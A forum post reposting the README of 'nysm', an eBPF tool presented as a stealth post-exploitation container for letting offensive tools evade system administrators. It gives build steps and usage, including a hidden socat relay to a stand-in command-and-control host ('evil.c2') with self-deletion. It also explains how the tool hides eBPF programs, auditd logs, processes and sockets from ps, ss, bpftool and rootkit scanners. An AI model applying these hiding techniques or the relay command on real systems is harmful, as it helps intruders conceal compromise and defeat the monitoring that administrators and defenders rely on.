# Nysm | A Stealth Post-Exploitation Container

**URL:** <https://onehack.st/t/nysm-a-stealth-post-exploitation-container/271991>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking\
**Created:** [January 12, 2024, 7:49pm UTC](https://onehack.st/t/nysm-a-stealth-post-exploitation-container/271991 "2024-01-12T19:49:32Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![NoBody](https://onehack.st/user_avatar/onehack.st/nobody/32/163880_2.png) [@NoBody](https://onehack.st/u/NoBody)\
**Post date:** [January 12, 2024, 7:49pm UTC](https://onehack.st/t/nysm-a-stealth-post-exploitation-container/271991/1 "2024-01-12T19:49:33Z")

</div>

[![nysm](https://github.com/eeriedusk/nysm/raw/master/.img/250x250.png)](https://github.com/eeriedusk/nysm/blob/master/.img/250x250.png)

A stealth post-exploitation container.

## Table of Content

- [1. Introduction](https://github.com/eeriedusk/nysm#introduction)
- [2. Installation](https://github.com/eeriedusk/nysm#installation)
  - [2.1 Requirements](https://github.com/eeriedusk/nysm#requirements)
  - [2.2 Linux headers](https://github.com/eeriedusk/nysm#linux-headers)
  - [2.3 Build](https://github.com/eeriedusk/nysm#build)

- [3. Usage](https://github.com/eeriedusk/nysm#usage)
  - [3.1 Examples](https://github.com/eeriedusk/nysm#examples)

- [4. How it works](https://github.com/eeriedusk/nysm#how-it-works)
  - [4.1 In general](https://github.com/eeriedusk/nysm#in-general)
  - [4.2 Hide eBPF objects](https://github.com/eeriedusk/nysm#hide-ebpf-objects)
  - [4.3 Hide Auditd logs](https://github.com/eeriedusk/nysm#hide-auditd-logs)
  - [4.4 Hide PIDs](https://github.com/eeriedusk/nysm#hide-pids)
  - [4.5 Hide sockets](https://github.com/eeriedusk/nysm#hide-sockets)

- [5. Limitations](https://github.com/eeriedusk/nysm#limitations)

## Introduction

With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: _Would it be possible to make eBPF invisible in its own eyes?_ From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:

- bpftool
- bpflist-bpfcc
- ps
- top
- sockstat
- ss
- rkhunter
- chkrootkit
- lsof
- auditd
- _etc…_

All these tools go blind to what goes through nysm. It hides:

- New eBPF programs ⚙
- New eBPF maps 🗺
- New eBPF links 🔗
- New Auditd generated logs 📰
- New PIDs 🪪
- New sockets 🔌

> **Warning** This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.

## Installation

### Requirements

sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y

### Linux headers

cd ./nysm/src/ bpftool btf dump file /sys/kernel/btf/vmlinux format c \> vmlinux.h

### Build

cd ./nysm/src/ make

## Usage

nysm is a simple program to run before the intended command:

```auto
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.

  -d, --detach Run COMMAND in background
  -r, --rm Self destruct after execution
  -v, --verbose Produce verbose output
  -h, --help Display this help
      --usage Display a short usage message

```

### Examples

Run a hidden `bash`:

./nysm bash

Run a hidden `ssh` and remove `./nysm`:

```auto
./nysm -r ssh user@domain

```

Run a hidden `socat` as a daemon and remove `./nysm`:

./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

## How it works

### In general

As eBPF _cannot_ overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.

To differentiate nysm events from the others, everything runs inside a seperated PID namespace.

### Hide eBPF objects

`bpftool` has some features nysm wants to evade: `bpftool prog list`, `bpftool map list` and `bpftool link list`.

As any eBPF program, `bpftool` uses the `bpf()` system call, and more specifically with the `BPF_PROG_GET_NEXT_ID`, `BPF_MAP_GET_NEXT_ID` and `BPF_LINK_GET_NEXT_ID` commands. The result of these calls is stored in the userspace address pointed by the `attr` argument.

To overwrite `uattr`, a tracepoint is set on the `bpf()` entry to store the pointed address in a map. Once done, it waits for the `bpf()` exit tracepoint. When `bpf()` exists, nysm can read and write through the [bpf\_attr](https://elixir.bootlin.com/linux/v6.4/source/include/uapi/linux/bpf.h#L1320) structure. After each `BPF_*_GET_NEXT_ID`, `bpf_attr.start_id` is replaced by `bpf_attr.next_id`.

In order to hide specific IDs, it checks `bpf_attr.next_id` and replaces it with the next ID that was not created in nysm.

Program, map, and link IDs are collected from [security\_bpf\_prog()](https://elixir.bootlin.com/linux/v6.4/source/security/security.c#L5092), [security\_bpf\_map()](https://elixir.bootlin.com/linux/v6.4/source/security/security.c#L5077), and [bpf\_link\_prime()](https://elixir.bootlin.com/linux/v6.4/source/kernel/bpf/syscall.c#L2867).

### Hide Auditd logs

Auditd receives its logs from `recvfrom()` which stores its messages in a buffer.

If the message received was generated by a nysm process through [audit\_log\_end()](https://elixir.bootlin.com/linux/latest/source/kernel/audit.c#L2399), it replaces the message length in its `nlmsghdr` header by 0.

### Hide PIDS

Hiding PIDs with eBPF is nothing new. nysm hides new `alloc_pid()` PIDs from `getdents64()` in `/proc` by changing the length of the previous record.

As `getdents64()` requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses [tail calls](https://docs.cilium.io/en/stable/bpf/architecture/#tail-calls) before reaching it.

### Hide sockets

Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in `/proc`. Nevertheless, `ss` uses `socket()` with the `NETLINK_SOCK_DIAG` flag which _returns_ all the currently opened sockets. After that, `ss` receives the result through `recvmsg()` in a message buffer and the returned value is the length of all these messages combined.

Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.

These are collected from the `connect()` and `bind()` calls.

## Limitations

Even with the best effort, nysm still has some limitations.

- Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if `./nysm bash` is running before `top`, the processes will not show up. But, if another process is created from that `bash` instance while `top` is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.
- Kernel logs: `dmesg` and `/var/log/kern.log`, the message `nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory!` will pop several times because of the eBPF verifier on nysm run.
- Many traces written into files are left as hooking `read()` and `write()` would be too heavy (but still possible). For example `/proc/net/tcp` or `/sys/kernel/debug/tracing/enabled_functions`.
- Hiding `ss` `recvmsg` can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record _(this does not apply to PIDs)_. A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.
- Running `bpf()` with any kind of `BPF_*_GET_NEXT_ID` flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.

Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.

## GitHub:

[https://github.com/eeriedusk/nysm](https://github.com/eeriedusk/nysm)
